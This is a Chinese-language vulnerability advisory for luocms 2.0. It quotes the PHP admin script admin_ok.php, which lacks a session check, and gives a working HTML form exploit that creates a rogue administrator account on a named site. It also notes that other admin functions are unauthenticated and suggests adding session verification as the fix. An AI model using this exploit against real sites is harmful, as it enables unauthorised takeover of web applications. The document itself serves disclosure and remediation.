luocms 2.0添加管理员漏洞
时间:2011-01-12 来源:心灵
发布日期:2011-01.11
发布作者:心灵
影响版本:luocms 2.0
官方网站:http://www.luocms.com/
漏洞类型:验证缺陷
漏洞描述:
这个作者的思想是用户能直接看见的文件就session验证 没有显示东西的就不用理了。。。
还是那句 看代码
admin\manager\admin_ok.php
<?php
require_once '../../inc/const.php'; //连接数据库的
//这里比其他文件少了验证session(username)是否存在......
$act = trim($_GET['act']); //不解析
$id = getvar('id'); // getvar 定义是addslashes过滤这个东西
//添加数据
if ($act=='add') {
if(check_username($_POST['username'])){
exit("<script>alert('用户 ".$_POST['username']." 已经存在!');window.history.go(-1)</script>"); //验证相同管理员姓名
}
$record = array(
'username' =>$_POST ['username'],
'password' =>md5($_POST ['password']),
'addtime' =>date ( "Y-m-d H:i:s" ),
'supermanager' =>$_SESSION['supermanager'] + 1
); //不解析 supermanager没有也没关系
$id = $db->insert($GLOBALS[databasePrefix].'manager',$record); //直接写入数据库了
echo "<script>alert('添加成功!');window.location='admin_manage.php';</script>";
}
// 下面代码省略 就是修改和删除的
附POST EXP
<form method="post" action="http://www.hackline.net/admin/manager/admin_ok.php?act=add" enctype="multipart/form-data" id="upload">
<label>
<input name="username" type="text" value="t00ls" />
</label>
<label>
<input name="password" type="text" value="sb" />
</label>
<div></div>
<input name="respondids" value="确定修改 " class="coolbg np" type="submit">
</form>
不单这里 备份数据库也是 添加新闻也是 反正用户看不见的都不需要验证。。。
修复方案:后台增加session验证,严格判断使用权限。
]
标签分类: